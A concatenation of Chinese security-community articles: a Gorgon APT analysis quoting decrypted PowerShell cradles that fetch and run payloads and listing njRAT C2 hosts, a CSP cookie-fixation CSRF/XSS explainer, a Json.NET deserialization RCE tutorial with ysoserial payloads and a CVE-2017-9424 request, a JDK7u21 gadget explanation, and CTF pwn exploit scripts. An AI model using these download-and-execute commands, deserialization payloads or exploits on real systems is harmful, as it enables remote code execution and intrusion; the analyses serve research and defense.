### 注入文档分析
注入的文档为宏代码攻击的rtf文件，文件打开会启用excel并不断弹框提示用于启用宏，如果用户点击禁用，则会弹出下一个excel宏提示，一共九次，该技术和之前Gorgon使用的注入技术保持一致。
恶意宏代码执行后会解密出如下命令：
`"$T='*EX'.replace('*','I');sal M $T;'(&(GCM'+'
*W-O*)'+'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Stri'+'ng(''http://191.239.243.112/documento/cdt.jpg'')'|M|M"`
代码会从http[:]//191.239.243.112/documento/cdt[.]jpg下载文件到本地执行
### cdt.jpg
下载回来样本后缀为jpg，但实际上是一个powershell脚本，由于上面的powershell代码最后执行了IEX，所以这里后缀不会影响脚本的执行,和第一个样本不同的是，这里会尝试从两个地址下载不同的payload到本地执行
通过代码可以得知，该段powershell代码通过IEX执行之后
会尝试下载http[:]//191.239.243.112/documento/njexp05jan[.]jpg到本地保为%APPDATA%cdtdaobumbum.vbs
会尝试下载http[:]//191.239.243.112/documento/njnyan05jan[.]jpg到本地保存为%APPDATA%cdtdaabuuda.vbs
下载成功则会通过start-process执行下载的vbs
### njexp05jan.jpg
这里的njexp05jan.jpg实际上是一个vbs脚本。
njexp05jan.vbs格式和上一个样本所下载的vbs格式几乎一致，只有解密的powershell不同，本次样本执行的powershell代码如下：
经过转换，执行的powershell代码如下：
`do
{
$ping = test-connection -comp google.com -count 1 -Quiet
}
until ($ping);
$p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);
[System.Net.ServicePointManager]::SecurityProtocol = $p22;
[void]
[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');
$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object
Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_$','n'),[Microsoft.VisualBasic.CallType]::Method,'http://empresariadohoteleiro.com/janeiro2020/rnpjaneiro03.jpg')|IEX;[Byte[]]$toto=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object
Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_$','n'),[Microsoft.VisualBasic.CallType]::Method,'http://empresariadohoteleiro.com/janeiro2020/05janeironjexp.jpg').replace('[@_0](https://github.com/_0
"@_0")','0x')|IEX;
$obj =@('RegSvcs.exe',$toto);
$g22=$a.GetType('Givara');
$y=$g22.GetMethod('FreeDom');
$j=[Activator]::CreateInstance($g22,$null);
$y.Invoke($j,$obj)`
从代码可以得知，该powershell脚本还会尝试下载两个后续payload到本地并通过IEX执行。
下载链接分别为：
http[:]//empresariadohoteleiro[.]com/janeiro2020/rnpjaneiro03[.]jpg
http[:]//empresariadohoteleiro[.]com/janeiro2020/05janeironjexp[.]jpg
同样的，该vbs也会设置任务计划，任务计划的名称为<mailing>
设置好的任务计划如下：
### njnyan05jan.jpg
同样的，这里的njnyan05jan.jpg也是一个vbs脚本。
njnyan05jan.vbs和njexp05jan.vbs结构完全相同，也是只更改了powershell部分的数据代码
同样的方法，拿到一段powershell代码：
同payload1，这里依旧是给了两个地址用于下载执行：http[:]//empresariadohoteleiro[.]com/janeiro2020/rnpjaneiro03[.]jpg
http[:]//empresariadohoteleiro[.]com/janeiro2020/05janeironjnyan[.]jpg
该vbs设置的任务计划名为<store>
比较奇怪的是，代码里面有这样一句注释语句：
结合样本名称中不断出现的exp字样，以及与上一个样本的对比，攻击者目前很有可能正在测试更新代码。
### 第三阶段payload
将后续部分的payload下载到本地，红色部分是njnyan05jan.vbs所下载的样本
**05janeironjexp**
同样的，脚本运行后会解密释放一个PE文件
该PE是一个C#编写的攻击样本：
**05janeironjnyan**
该脚本运行后释放的PE文件如下
通过hash计算可以得到两个文件的hash，同时确定文件不相同
**rnpjaneiro03**
第二阶段两个payload下载回来的rnpjaneiro03.jpg是同一个文件和第一部分样本中下载的rnpjaneiro03.jpg是同一个文件，这里不再次分析。
### 后续PE分析
分析样本最后解密的PE文件
经过分析，两个样本均为njrat远控木马，对njrat远控的概要分析如下
**payload1**
main函数中调用perfect
程序最开始会解密三个字符串，分别是分隔拼接字符串、C2地址、C2端口
解密出请求的域名：
ducksys.dyckdns.org
C2端口：5550
创建互斥体：<Edo_Tensei-3mcvLOcL3WPU>
接着程序会启动两个线程，分别是RC和SAW，其中RC线程用于信息窃取和上传，SAW线程用于检索当前的窗口信息等。具体实现如下：
**RC线程**
通过ACM解密出在线剪贴板，用于获取攻击者预先准备好的内容
hxxps[:]//pastebin[.]com/raw/FeCfa8vf
这里的hxxps[:]//pastebin[.]com/raw/FeCfa8vf是一个在线剪贴板，内容就是之前调试得到的C2：
ducksys.ddns.net[:]5550
接着尝试TCP连接C2并且通过inf函数发送计算机基本信息到服务器
inf函数会收集并拼接计算机的一些基本信息，然后通过tensei.sk作为分隔符号
收集的基本信息有：
• MachineName
• Username
• LastWriteTime.Data
• OSFullName
• SP版本号
• 操作系统位数(x86/x64)
所有收集到的信息存入array2[0]
此外，程序还会收集如下信息：
• 在array2[1]存入磁盘信息
• 在array2[3]存入RAM信息
• 在array2[5]标识是否是管理员用户
• 在array2[7]存入操作系统的Product
将所有的数据经过base64编码方便后续的传输
**SAW线程**
通过对该样本的分析，可以确定该样本主要功能是窃密。
此外，通过对样本的调试可以得知，样本中很多功能是根据flag的值来决定的，而flag的值跟样本的运行状态相关，这里贴一些关键的函数：
沙箱检测：
这里第一个字符串base64解码得到一个注册表键值用于协助进行环境判断
SystemCurrentControlSetServicesDiskEnum
如果检测到在沙箱环境，则会通过第二个base64编码的字符串删除自身：
cmd.exe /c ping 0 -n 2 & del
设置开机自启动：
### payload2
同payload1，payload2也是一个njart远控，payload2的互斥体名称为<a6837ac27e>,出了payload1中的基本art功能，payload2似乎还有着键盘监听的功能。
payload2的C2地址为：ducksys.duckdns.org:5552
程序首先还是创建一个互斥体,互斥体名为<a6837ac27e>,然后启动一个名为Receive的线程
第二个线程WRK用于键盘监听
## 总结
Gorgon，一个被认为来自南亚某国家的黑客组织，其目标涉及全球政府，外贸等行业，且目的不纯粹为了金钱，还可能与政治相关。
通过本次分析可以得知，截止目前（2020年1月），Gorgon仍在使用一些传统木马进行攻击，例如已经存活多年的njrat，但同时也可以发现，在投递手法、payload加载也已经越来越复杂，在未来的攻击中，多变的诱饵文档，更为复杂的payload解密，将会是目前大多数黑客组织常使用的手段，但也是最节省成本，最有效的手段。
同时可以看到，同一作者（mateus
eaea）1月6日编写的木马虽然运行流程、结构和1月3日的木马十分相似，但是已经加了一部分新功能，结合样本中的一些注释和exp字样，说明很有可能该作者目前正在对攻击代码进行更新。
## IOCs
### 原始样本IOCs
原始样本hash：
b9392f059e00742a5b3f796385f1ec3d
模板注入地址：
http[:]//bit[.]ly/2Fivk8q
后续payload下载地址：
http[:]//empresariadohoteleiro.com/janeiro2020/Attack[.]jpg
http[:]//empresariadohoteleiro.com/janeiro2020/srvjaneiro03[.]jpg
http[:]//empresariadohoteleiro.com/janeiro2020/rnpjaneiro03[.]jpg
http[:]//empresariadohoteleiro.com/janeiro2020/njarrobajnr03[.]jpg
后续payload hash：
7fe85327f57691535762dae17c50457e
5962cbe02c9d85de9a26c5d7d3abcf5f
2c610594e3230b15af32874b1676861a
eba6b7e9bab2b63b63cb6080ee83236f
87dc93b61a224d1ec45be29998013ae9
C&C地址：
ducksys[.]ddns[.]org[:]5550
关联样本IOCs
原始样本hash：
102a69fb5cac66179ceca4a01d0c0f48
模板注入地址：
http[:]//bit[.]ly/2T2ofAC
后续payload下载地址：
http[:]//191.239.243.112/documento/cdt[.]jpg
http[:]//191.239.243.112/documento/njexp05jan[.]jpg
http[:]//191.239.243.112/documento/njnyan05jan[.]jpg
http[:]//empresariadohoteleiro[.]com/janeiro2020/rnpjaneiro03[.]jpg
http[:]//empresariadohoteleiro[.]com/janeiro2020/05janeironjexp[.]jpg
http[:]//empresariadohoteleiro[.]com/janeiro2020/05janeironjnyan[.]jpg
后续payload hash：
6eac6bd76c4ce578acc6ed418af54b8b
3d5d4d26b8de82e189ac349604fa8dae
c32e7d0c4bb67313d24919186515e642
31f085cac8dab9b322407e029e016d7b
eba6b7e9bab2b63b63cb6080ee83236f
ade97a3c5b6b95b5e70ba7813a95cc57
73c9e0580d04d9f6c7da396bd70f2799
88d1eafa875664a545d0e6c093455bb0
729ff146ab688a9a571f9eae67a0d12d
C&C：
ducksys[.]ddns[.]org[:]5550
ducksys[.]ddns[.]net[:]5550
ducksys[.]duckdns[.]org[:]5552
## 参考链接
<https://ti.qianxin.com/blog/articles/gorgon-apt-organizes-another-remark-the-twists-and-turns-of-dropbox-to-njrat/> | 社区文章 |
# 【技术分享】CSP flaws: cookie fixation
|
##### 译文声明
本文是翻译文章，文章来源：detectify.com
原文地址：<https://labs.detectify.com/2017/01/12/csp-flaws-cookie-fixation/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **shan66**](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：80RMB**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
我们知道，CSP不会阻止<meta http-equiv ="Set-Cookie" content ="a =
b">这样的标签。因此，对于含有XSS漏洞的页面来说，即使提供了CSP保护，攻击者仍然可以通过写入Cookie来发动攻击。
下面，我们来考察一些与Cookie篡改漏洞有关的例子。
**双重提交Cookie示例**
双重提交cookie是一些应用程序和框架用于处理CSRF的技术。这意味着所有表单都必须包含一个在cookie中设置的令牌。
如果在表单中发送的令牌与cookie中的令牌不同，则请求被丢弃。 这种技术被OWASP推荐为基于会话的令牌的替代方案。
在伪代码中它可能看起来像这样：
//User sent the form
if(isset($_POST['submit'])){
if($_POST['token'] == $_COOKIE['token']){
//Accept the form
}else{
echo "CSRF ATTACK DETECTED";
exit();
}
}
没有CSP的时候，如果应用程序含有XSS漏洞，那么攻击者就可以使用脚本来填写并提交他们想要攻击的任何表单：
<script>
document.getElementById('sendmoneyto').value = 'Mathias';
document.getElementById('form').submit();
</script>
使用CSP后，我们就可以（通过使用随机数或限制内联脚本）避免这种情况了。然而，攻击者可以使用以下payload来实现同样的事情：
<meta http-equiv="Set-Cookie" content="token=NotSoSecretAnyMore">
然后，在攻击者的网站上：
<script>
function submitForm(){
document.forms[0].submit();
}
</script>
<iframe src='http://targetapplication/vulnerabletoxss?parameter=<meta http-equiv="Set-Cookie" content="token=NotSoSecretAnyMore">' onload="submitForm()"></iframe>
<form action="http://targetapplication/targetform" method="POST">
<input type="hidden" name="token" value="NotSoSecretAnyMore" />
<input type="hidden" name="sendmoneyto" value="Mathias" />
</form>
因为攻击者能够改写令牌，所以他们可以在其页面上的表单中使用新令牌，从而绕过CSRF保护措施。
**双会话示例**
现实中，使用多个会话Cookie的应用程序是非常少见的。例如，主应用程序使用一个会话Cookie，而“次应用程序”使用另一个会话Cookie。
如果攻击者可以篡改cookie，他们就可以让受害者在主应用程序中使用攻击者的会话cookie。这样的话，就可以让受害者在主应用程序中以攻击者身份登录，而在次应用程序中以受害者身份登录。
如果应用程序从主应用程序提取送货数据，那么受害人在次应用程序中购买的产品就会被发往攻击者的地址。
**子域cookie XSS示例**
如果子域中存在cookie XSS漏洞，攻击者可以使用cookie篡改漏洞来设置XSS cookie，然后重定向到易受攻击的页面：
<meta http-equiv="Set-Cookie" content="vulnerableCookie=<script src=//attackers/page.js>">
<meta http-equiv="refresh" content="0;URL=http://othersubdomain.vulnerable/page_vulnerable_to_cookie_xss">
**结论**
虽然许多客户端漏洞都可以通过CSP进行缓解，但是Cookie篡改仍然会导致一些安全问题，因为它对于这种漏洞根本不起作用。当开发使用CSP和cookie的应用程序时，一定要注意各种类型攻击的不同之处。 | 社区文章 |
# Json.Net
json.net又名Newtonsoft.Json，虽然不是官方库，但是凭借出色的性能优势有着很多的受众用户。下图是官方的性能对比图：
# demo
[官方文档](https://www.newtonsoft.com/json/help/html/SerializingJSON.htm)给出了最简单的两个json示例，分别是JsonConvert、JsonSerializer。这里先看下JsonConvert
using Newtonsoft.Json;
using System;
namespace Json.NetSerializer
{
class Person
{
public string Name { get; set; }
}
class Program
{
static void Main(string[] args)
{
Person person = new Person();
person.Name = "jack";
string v = JsonConvert.SerializeObject(person);
string v1 = JsonConvert.SerializeObject(person, new JsonSerializerSettings()
{
TypeNameHandling = TypeNameHandling.None
});
string v2 = JsonConvert.SerializeObject(person, new JsonSerializerSettings()
{
TypeNameHandling = TypeNameHandling.All
});
Console.WriteLine(v);
Console.WriteLine(v1);
Console.WriteLine(v2);
Console.ReadKey();
}
}
}
输出json
{"Name":"jack"}
{"Name":"jack"}
{"$type":"Json.NetSerializer.Person, Json.NetSerializer","Name":"jack"}
可见传入JsonSerializerSettings参数`TypeNameHandling.All`时生成了带有type信息的json。看下底层实现
当不穿JsonSerializerSettings参数时，调用三个参数的SerializeObject重载
三个参数的重载将settings设置为空，创建了一个默认的JsonSerializer。
抽丝剥茧，CreateDefault其实就是new了一个JsonSerializer，其中`this._typeNameHandling =
TypeNameHandling.None`
说明下面几行代码的作用是一样的
string v = JsonConvert.SerializeObject(person);
string v1 = JsonConvert.SerializeObject(person, new JsonSerializerSettings()
{
TypeNameHandling = TypeNameHandling.None
});
根据[文档](https://www.newtonsoft.com/json/help/html/T_Newtonsoft_Json_TypeNameHandling.htm)，TypeNameHandling有以下几个枚举值
除了None外，都会包含type信息。文档中标记了TypeNameHandling会产生安全问题，应该使用binder进行类型绑定。
>
> [TypeNameHandling](https://www.newtonsoft.com/json/help/html/P_Newtonsoft_Json_JsonSerializer_TypeNameHandling.htm)
> should be used with caution when your application deserializes JSON from an
> external source. Incoming types should be validated with a custom
> [SerializationBinder](https://www.newtonsoft.com/json/help/html/P_Newtonsoft_Json_JsonSerializer_SerializationBinder.htm)
> when deserializing with a value other than None.
而本文就是针对TypeNameHandling进行讲解，当TypeNameHandling非None时，可以传入自定义json触发RCE。
# 攻击链ObjectDataProvider
通过ObjectDataProvider包装Process进行RCE。yso生成如下
PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -g ObjectDataProvider -f json.net -c calc
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
运行后弹出计算器。
# 审计
关注JsonConvert和JsonSerializer的TypeNameHandling值是否为None。以下代码两种方法都能触发RCE。
using Newtonsoft.Json;
using System;
using System.IO;
namespace Json.NetSerializer
{
class Program
{
static void Main(string[] args)
{
// JsonConvert
JsonConvert.DeserializeObject(File.ReadAllText("1.json"),new JsonSerializerSettings() { TypeNameHandling =TypeNameHandling.All});
// JsonSerializer
JsonSerializer jsonSerializer = JsonSerializer.CreateDefault();
jsonSerializer.TypeNameHandling = TypeNameHandling.All;
using (StreamReader sr = new StreamReader("1.json"))
using (JsonReader reader = new JsonTextReader(sr))
{
jsonSerializer.Deserialize(reader);
}
Console.ReadKey();
}
}
}
# 实际案例 breeze CVE-2017-9424
breeze在blackhat中提到了存在json反序列化漏洞。源码下载<https://github.com/Breeze/breeze.js.samples/tree/master/net/CarBones>
在Breeze.ContextProvider.BreezeConfig.CreateJsonSerializerSettings设置了TypeNameHandling.Objects
查看被调用链
在CarBonesController类中被使用。SaveChanges()传入的JObject一路被传入InitializeSaveState()
然后将JObject的saveOptions字段进行反序列化为SaveOptions类型。而SaveOptions有一个Tag字段类型为Object，刚好可以存储我们的Process对象。
由此抓包，原始SaveChanges请求如下
POST /breeze/CarBones/SaveChanges HTTP/1.1
Host: php.local:34218
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/json
Origin: http://php.local:34218
Referer: http://php.local:34218/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{
"entities": [
{
"Id": 3,
"Make": "Tesla",
"Model": "S1",
"entityAspect": {
"entityTypeName": "Car:#CarBones.Models",
"defaultResourceName": "Cars",
"entityState": "Modified",
"originalValuesMap": {
"Model": "S"
},
"autoGeneratedKey": {
"propertyName": "Id",
"autoGeneratedKeyType": "Identity"
}
}
}
],
"saveOptions": {}
}
将saveOptions修改为payload，弹出计算器
POST /breeze/CarBones/SaveChanges HTTP/1.1
Host: php.local:34218
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json; charset=utf-8
Content-Length: 627
{
"entities": [
{
"Id": 1,
"Make": "Ford",
"Model": "Mustanga",
"entityAspect": {
"entityTypeName": "Car:#CarBones.Models",
"defaultResourceName": "Cars",
"entityState": "Modified",
"originalValuesMap": {
"Model": "Mustang"
},
"autoGeneratedKey": {
"propertyName": "Id",
"autoGeneratedKeyType": "Identity"
}
}
}
],
"saveOptions": {
"Tag": {
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"
},
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib",
"$values": [
"calc"
]
},
"MethodName": "Start"
}
}
}
# 后文
本文讲解了json.net反序列化，并结合实际案例 breeze CVE-2017-9424深入理解。 | 社区文章 |
**0x00**
昨天看到n1nty发了文章分析[深度 - Java 反序列化 Payload 之
JRE8u20](http://mp.weixin.qq.com/s?__biz=MzI5Nzc0OTkxOQ==&mid=2247483738&idx=1&sn=dd5ec08b7229b368d8f820d8376d2f8a&chksm=ecb11daadbc694bc2d56bad5584e43b1c844af96145086bd926f2f77d8f171e1a40fcfa0e536&mpshare=1&scene=1&srcid=11207v7VJcif9KICIS3kZ0dK#rd)，分析了Jre8u20这个Gadgets，读了之后顶礼膜拜，Jre
8u20我并没有研究过，不过看到文章开始提到了7u21中的这个Gadget，可能很多同学对这个原理不是很清楚，所以这里翻出一篇当初分析的原理文分享出来，原文如下：
**0x01**
对这个Gadget的理解需要一定的java动态代理机制的知识。
上面是这个Gadget的主要代码。
主要是创建了一个LinkedHashSet，在这个LinkedHashSet中有两个对象。
（1）一个是包含了恶意代码的TemplatesImpl对象，这个没啥好说的，创建的过程就是assist这个工具生成字节码。
（2）另外一个是一个代理对象，这个代理对象通过Gadgets.createProxy方法获取，对应的代理类的handler是AnnocationInvocationHandler类的一个实例，并且实现了Templates接口，所以proxy可以强制转为Templates。
（3）并且将这个AnnocationInvocationHandler的实例的memberValues设置成了一个特殊的map。这个map是(key="f5a5a608",
value=templates恶意类），为什么这么设置，待会儿再说。
**0x02**
在执行反序列化操作时，会调用LinkedHashSet的readObject方法，实际上调用的是其父类HashSet的readObject方法：
在开始是对序列化数据进行了一些校验，校验成功之后，就创建了HashMap装Set中的对象，因此这里是调用了map.put方法。
所以我们来看看java 7中的HashMap.put方法：
这里首先是要计算key的hash，然后通过hash找到对应的索引位置，之后遍历链表中的index位置的元素，然后比较这个元素的hash和要设置的key的hash，来判断值是否已经被设置。
如果存在则覆盖并返回旧的value，否则就创建一个新的位置插入元素。
POC其实是通过这里的key.equals完成TemplatesImpl中恶意代码触发的，为什么呢？
由于PoC中设置set的顺序是先templates后proxy，所以这里希望调用的是proxy对象的equals，熟悉动态代理的同学都知道，proxy对象中方法的调用是首先要交给handler的invoke方法的，由handler再去调用真实对象的对应方法。所以这里的key.equals方法就会调用AnnocationInvocationHandler的invoke方法：
这里实际调用了AnnocationInvocationHandler的equalsImpl方法：
通过源码我们就可以看到，这里就是把Object的方法遍历出来，然后挨个儿地调用，所以这样自然会触发TemplatesImpl的getOutputProperties方法，从而触发RCE。
当然，这里就有个问题，我们回到if条件的代码部分：
由于Java的短路机制（具体可看Thinking in java的具体章节），我们必须要满足前一个与运算的条件，即满足e.hash ==
hash这个条件。注意到，当我们将proxy设置到Set时，Set里已经有一个TemplatesImpl的对象在。所以这里实际上就是要满足templates==
proxy。
两个对象进行对比，实际上是分别调用两者的hashCode，然后比较其返回值是否相同来判断对象是否相同，实际上需要满足templates.hashCode()
== proxy.hashCode()。
当我们调用Proxy.hashCode方法的时候，首先调用AnnocationInvocationHandler的invoke方法：
这里是调用的hashCodeImpl方法：
这里从memberValues中进行遍历，还记得PoC中创建Proxy的时候，将AnnocationInvocationHandler的memberValues设置为了(key="f5a5a608",
value=templates恶意类），这里获取出map中的key，也就是f5a5a608这个字符串，调用其hashCode方法，我们可以测试一下，运行这句代码：
System.out.println("f5a5a608".hashCode()) ;
可以看到返回的值是0，具体原理就不赘述了，有兴趣的同学可以研究一下。
那么这里的hashCodeImpl方法返回的实际上就是memberValueHashCode(e.getValue())的hash值，实际上就是templtes对象的hashCode，所以e.hash
==
hash是成立的，我们的key.equals就触发了，从而使得TemplatesImpl.getOutProperties()方法调用成功，执行了恶意代码。
**0x03**
Jdk7u21这个Gadgets用到了很多Java内部的类和机制，其中最重要的当然是TemplatesImpl和AnnocationInvocationHandler这两个类，而AnnocationInvocationHandler不愧是所有Gadgets触发的灵魂。此外，还利用了hash碰撞的trick。不得不说，研究出这个Gadgets的功力是非常深厚的，向大神学习。 | 社区文章 |
## Hack.lu Writeups by emmmm
> emmmm, we are team based on USTC&BUPT&HIT&M4x
## PWN
### Baby Kernel
This is a simple kernel pwn challenge. We are able to call some function with
arguments. And there is no KASLR from hints. So we call
`commit_creds(prepare_kernel_cred(0))` to get root then we can read flag.
babykernel bat solve.py
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: solve.py
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ #!/usr/bin/env python
2 │ # -*- coding: utf-8 -*- 3 │
4 │ from pwn import *
5 │
6 │ vmlinux = ELF("./vmlinux", checksec = False)
7 │
8 │ pkc = vmlinux.sym['prepare_kernel_cred']
9 │ print "pkc: ", pkc
10 │ cc = vmlinux.sym['commit_creds']
11 │ print "cc: ", cc
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────
babykernel python solve.py
pkc: 18446744071579168336
cc: 18446744071579167184
----- Menu ----- 1. Call
2. Show me my uid
3. Read file
4. Any hintz?
5. Bye!
> 2
uid=1000(user) gid=1000(user) groups=1000(user)
----- Menu ----- 1. Call
2. Show me my uid
3. Read file
4. Any hintz?
random: fast init done
5. Bye!
> 1
I need a kernel address to call. Be careful, though or .
>
18446744071579168336
There is a good chance we will want to pass an argument?
>
0
Got call address: 0xffffffff8104ee50, argument: 0x000000
flux_baby ioctl nr 900 called
flux_baby ioctl nr 900 called
flux_baby ioctl extracted param ffffffff8104ee50 as funt
A miracle happened. We came back without crashing! I ev.
It is: ffff88000212c0c0
----- Menu ----- 1. Call
2. Show me my uid
3. Read file
4. Any hintz?
5. Bye!
> 1
I need a kernel address to call. Be careful, though or .
>
18446744071579167184
There is a good chance we will want to pass an argument?
>
18446612132349001920
Got call address: 0xffffffff8104e9d0, argument: 0xffff80
flux_baby ioctl nr 900 called
flux_baby ioctl nr 900 called
flux_baby ioctl extracted param ffffffff8104e9d0 as funt
A miracle happened. We came back without crashing! I ev.
It is: 0000000000000000
----- Menu ----- 1. Call
2. Show me my uid
3. Read file
4. Any hintz?
5. Bye!
> 2
uid=0(root) gid=0(root)
----- Menu ----- 1. Call
2. Show me my uid
3. Read file
4. Any hintz?
5. Bye!
> 3
Which file are we trying to read?
> /flag
Here are your 0xf bytes contents:
flag{testflag}
### baby exploit
modify the jump offset to input， and we can control 7 bytes, so we first use 7
byte to make a read syscall to read the shellcode , and then jump to the
shellcode.
from pwn import *
context.arch = 'amd64'
sc = "\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x2f\x2f\x2f\x62\x69\x6e\x2f\x2f\x2f\x2f\x62\x61\x73\x68\x00"
def decrypt(s):
sc_list = map(ord, list(s))
for i in range(len(sc_list) - 2, -1, -1):
sc_list[i] = sc_list[i+1] ^ sc_list[i]
sc = eval(repr(''.join(map(chr, sc_list))))
return sc
# io = process('./chall')
# io = process('./modified')
io = remote("arcade.fluxfingers.net", 1807)
io.recvuntil("want to flip")
io.sendline("0xbc")
io.recvuntil("byte-offset")
io.sendline("3")
io.recvuntil("win:")
asm_code = '''
pop rax
pop rdx
pop rax
xor edi, edi
syscall
'''
code = asm(asm_code)
log.info(code + "length: " + str(len(code)))
payload = decrypt('a'*(0x2e - 7) + code)
payload2 = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' + sc
# sleep(0.5)
io.send(payload)
sleep(0.5)
io.sendline(payload2)
io.interactive()
### heap_heaven_2
The program mmap a heap whose size is 0x2000, and it provide some choices that
we can do on the heap, such as write some bytes on it, free some of it into
tcache or bins(need to use write choice to fake heap on it) and choose a
offset on the heap and get the value as a point to print(need to write first
also). And the program malloc a heap called state and place a vtable point in
it(`*state = vtable`), the vatble has two function point, one is menu, the
other is bye(`*vtable=&bye,*(vtable+8)=&menu`), menu function is called every
time the loop.
After know that, we can easily leak the address of libc、heap and the mmaped
heap by faking some heap and free them into fastbin and unsortbin(i didn't do
them by using tcache because my local environment dosen't have tcache).
The free choice dosen't check the address is within the mmaped heap or not. So
we can free arbitrary address, our target is state, state is a fastbin of size
0x20，we can hijack state->fd point to a fake heap we free into fastbin before
it, vtable places in state->fd, and i pce one_gadget in the fake heap. After
that, when the program call menu `*((state->vtable)+8)()`, it will call
one_gadget.
from pwn import*
def write_heap(length, offset, data):
p.recvuntil("[5] : exit\n")
p.sendline("1")
p.recvuntil("How much do you want to write?\n")
p.sendline(str(length))
p.recvuntil("At which offset?")
p.sendline(str(offset))
sleep(1)
p.send(data)
def free_heap(offset):
p.recvuntil("[5] : exit\n")
p.sendline("3")
p.recvuntil("At which offset do you want to free?\n")
p.sendline(str(offset))
def leak_heap(offset):
p.recvuntil("[5] : exit\n")
p.sendline("4")
p.recvuntil("At which offset do you want to leak?\n")
p.sendline(str(offset))
p.recvuntil("a"*16)
addr = u64(p.recv(6).ljust(8,'\x00'))
return addr
def leak_heap1(offset):
p.recvuntil("[5] : exit\n")
p.sendline("4")
p.recvuntil("At which offset do you want to leak?\n")
p.sendline(str(offset))
addr = u64(p.recv(6).ljust(8,'\x00'))
return addr
#p = process("./heap_heaven_2")
p = remote("arcade.fluxfingers.net",1809)
x = (p64(0x00) + p64(0x21) + "2"*0x10 + p64(0x00) + p64(0x91) + "1"*0x80)*8
write_heap(len(x),0x1000,x)
free_heap(0x1000+0x10)
free_heap(0x1000+0x10+0xb0)
free_heap(0x1000+0x10+0xb0*2)
free_heap(0x1000+0x10+0xb0*3)
free_heap(0x1000+0x10+0xb0*4)
free_heap(0x1000+0x10+0xb0*5)
free_heap(0x1000+0x10+0xb0*6)
heap1 = p64(0x00) + p64(0x21) + "1"*0x10
heap2 = p64(0x00) + p64(0x21) + "2"*0x10
heap3 = p64(0x00) + p64(0x421) + "3"*0x410
heap4 = p64(0x00) + p64(0x21) + "4"*0x10
heap5 = p64(0x00) + p64(0x21) + "5"*0x10
heap6 = p64(0x00) + p64(0x31) + "6"*0x20
data1 = heap1 + heap2 + heap3 + heap4 + heap5 + heap6
data2 = "a"*16
write_heap(len(data1),0,data1)
write_heap(len(data1),0x800,data1)
write_heap(len(data1),0x1800,data1)
free_heap(0x1800 + len(heap1) + 0x10) #heap2
free_heap(0x1800 + len(heap1 + heap2 + heap3) + 0x10) #heap4
free_heap(0x1800 + len(heap1 + heap2 + heap3 + heap4) + 0x10)#heap5
write_heap(len(data2),0x1800+len(heap1 + heap2 + heap3),data2)
mmap = leak_heap(0x1800 + len(heap1 + heap2 + heap3 + heap4) + 0x10) & 0xFFFFFFFFFF
mmap -= len(heap1)
mmap -= 0x1800
print "mmap: " + hex(mmap)
free_heap(len(heap1 + heap2) + 0x10)#heap3
addr2 = leak_heap1(len(heap1 + heap2) + 0x10)
heap = addr2 - 0x290
print "heap: " + hex(heap)
free_heap(len(heap1 + heap2) + 0x10 + 0x800)
write_heap(17,len(heap1 + heap2),"a"*17)
addr1 = leak_heap(len(heap1 + heap2) + 0x10 + 0x800) &0xffffffffff00
libc = addr1 - 0x01BEB00
one = 0xe75f0
one += libc
print "libc:" + hex(libc)
write_heap(len(p64(heap+0x290-0x10)),0x700,p64(heap+0x290-0x10))
func = leak_heap1(0x700)
print hex(func)
write_heap(len(p64(one))*2,0x1800 + len(heap1 + heap2 + heap3 + heap4),(p64(one)*2))
target = heap + 0x290 -0x30
free_heap(target - mmap)
p.interactive()
## WEB
### babyphp
>
> [https://arcade.fluxfingers.net:1819/?msg=data:text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==&key1=1337x&key2=000000000000000000000000000000000001337%EF%BC%84&cc[]=emmm&k1=2&bb=var_dump($flag);//](https://arcade.fluxfingers.net:1819/?msg=data:text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==&key1=1337x&key2=000000000000000000000000000000000001337%EF%BC%84&cc\[\]=emmm&k1=2&bb=var_dump\($flag\);//)
